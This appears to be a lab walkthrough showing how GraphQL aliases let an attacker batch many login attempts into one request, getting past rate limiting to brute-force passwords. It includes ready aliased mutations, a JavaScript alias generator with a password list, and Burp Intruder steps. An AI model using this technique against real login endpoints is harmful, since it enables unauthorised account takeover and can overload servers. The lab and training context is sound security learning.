GraphQL Lab - Bypassing Rate Limiting with Aliases
Complete guide to bypass login rate limiting using GraphQL aliases for brute force attacks.
Complete guide to bypass login rate limiting using GraphQL aliases for brute force attacks.
Introduction#
Rate limiting is a security mechanism that blocks users after too many requests. In this lab, we'll learn how to bypass this protection using GraphQL aliases.
The Problem#
Normal brute force sends multiple HTTP requests
Request 1 Try password1
Request 2 Try password2
Request 3 Try password3 → BLOCKED!The Solution#
GraphQL aliases let us send multiple operations in ONE request
Request 1 {
Try password1
Try password2
Try password3
Try password4
... Try 100 passwords
} → NOT BLOCKED!Step 1 Find the Login Endpoint#
Endpoint found#
POST graphqlv1Go to Burp → GraphQL Tab#
You'll see the login mutation.
Step 2 Original Login Query#
In the Query section#
mutation login($input LoginInput!) {
login(input $input) {
token
success
}
}In the Variables section#
{
input {
username anas,
password ahaha
}
}Step 3 Test Rate Limiting#
Submit the request 3 times with wrong password#
Request 1 Wrong password
Request 2 Wrong password
Request 3 Wrong password
Response after 3 attempts#
{
errors [
{
path [login],
extensions {
message You have made too many incorrect login attempts. Please try again in 1 minute(s).
},
locations [
{
line 3,
column 9
}
],
message Exception while fetching data (login) You have made too many incorrect login attempts. Please try again in 1 minute(s).
}
]
}Rate limit confirmed! 🚫#
After 3 failed attempts, we're blocked for 1 minute.
Step 4 Remove Variables Block#
Delete the Variables section#
We'll put everything directly in the query.
New query (inline input)#
mutation login {
login(input {password anasspass, username anas}) {
token
success
}
}Now the password and username are inside the query itself.
Step 5 Add Aliases (Bypass!)#
The key Use aliases to send multiple login attempts#
mutation login {
login_1 login(input {password anasspass, username anas}) {
token
success
}
login_2 login(input {password pass123, username anas}) {
token
success
}
login_3 login(input {password admin123, username anas}) {
token
success
}
login_4 login(input {password qwerty, username anas}) {
token
success
}
login_5 login(input {password 12345, username anas}) {
token
success
}
}Response No block! ✅#
All 5 login attempts executed in ONE request!
Step 6 Automate with JavaScript#
Create a script to generate aliases#
Looking at your image, the script generates a query like this
let passwords = ['123456', '123456789', 'qwerty', 'password', '12345', 'qwerty123', '1q2w3e', '12345678', '111111', '1234567890']
let list = []
let text = passwords.map((password, index) = {
return `login_${index} login(input {password ${password}, username carlos}) {n tokenn successn }`
})
console.log(text.join('n'))This generates#
mutation login {
login_0 login(input {password 123456, username carlos}) {
token
success
}
login_1 login(input {password 123456789, username carlos}) {
token
success
}
login_2 login(input {password qwerty, username carlos}) {
token
success
}
login_3 login(input {password password, username carlos}) {
token
success
}
login_4 login(input {password 12345, username carlos}) {
token
success
}
login_5 login(input {password qwerty123, username carlos}) {
token
success
}
login_6 login(input {password 1q2w3e, username carlos}) {
token
success
}
login_7 login(input {password 12345678, username carlos}) {
token
success
}
login_8 login(input {password 111111, username carlos}) {
token
success
}
login_9 login(input {password 1234567890, username carlos}) {
token
success
}
}Step 7 Brute Force with Burp Intruder#
Option 1 Manual copy-paste#
- Run the JavaScript in browser console
- Copy the generated query
- Paste in Burp GraphQL tab
- Send request
Option 2 Use Burp Intruder (Better!)#
Setup
- Keep one alias as template
mutation login {
login_1 login(input {password §anasspass§, username carlos}) {
token
success
}
}- Send to Intruder
- Mark the password as position
§anasspass§ - Load your password wordlist
- Start attack
Look for
- Response with
success true - Response with
tokenvalue - Different response length
Step 8 Find the Correct Password#
In the Intruder results#
Look for a response like
{
data {
login_1 {
token eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...,
success true
}
}
}Password found! 🎉#
The password that returns success true is the correct one.
Complete Attack Flow#
1. Find login endpoint (graphqlv1)
2. Test normal login (blocked after 3 attempts)
3. Remove variables block
4. Put credentials inline in query
5. Add aliases (login_1, login_2, login_3...)
6. Test with 5 passwords → No block!
7. Create JavaScript to generate 100+ aliases
8. Use Burp Intruder for brute force
9. Find password with success true
10. Login with correct passwordJavaScript Generator (Full Code)#
Password wordlist
let passwords = [
'123456',
'123456789',
'qwerty',
'password',
'12345',
'qwerty123',
'1q2w3e',
'12345678',
'111111',
'1234567890'
]
Generate aliases
let text = passwords.map((password, index) = {
return `login_${index} login(input {password ${password}, username carlos}) {
token
success
}`
})
Output full query
console.log(`mutation login {n${text.join('n')}n}`)Copy the output and paste in Burp!#
Why This Works#
Normal Rate Limiting#
Counts HTTP requests
Request 1 → Counter = 1
Request 2 → Counter = 2
Request 3 → Counter = 3 → BLOCKED!With Aliases#
Counts HTTP requests
Request 1 with 100 aliases → Counter = 1 ✅
No block because it's only 1 HTTP request!The server sees#
- 1 HTTP request
- But executes 100 login operations
Key Concepts#
Alias Syntax#
aliasName actualQuery(args) {
fields
}Example#
login1 login(input {...}) { token }
login2 login(input {...}) { token }Each alias is a unique name for the same query.
Tips#
1. Start small#
Test with 5-10 aliases first to confirm it works.
2. Increase gradually#
If 10 works, try 50, then 100.
3. Watch response size#
Too many aliases might timeout or crash the server.
4. Use Intruder for flexibility#
Easier to modify and re-run attacks.
5. Check all responses#
Sometimes multiple passwords return success true (test them all).
Summary#
What we learned#
- Rate limiting counts HTTP requests, not operations
- Aliases let us send multiple operations in one request
- We can brute force passwords without getting blocked
- JavaScript can generate hundreds of aliases automatically
- Burp Intruder makes testing easier
The vulnerability#
Poor rate limiting implementation that doesn't account for GraphQL aliases.
Happy Hunting!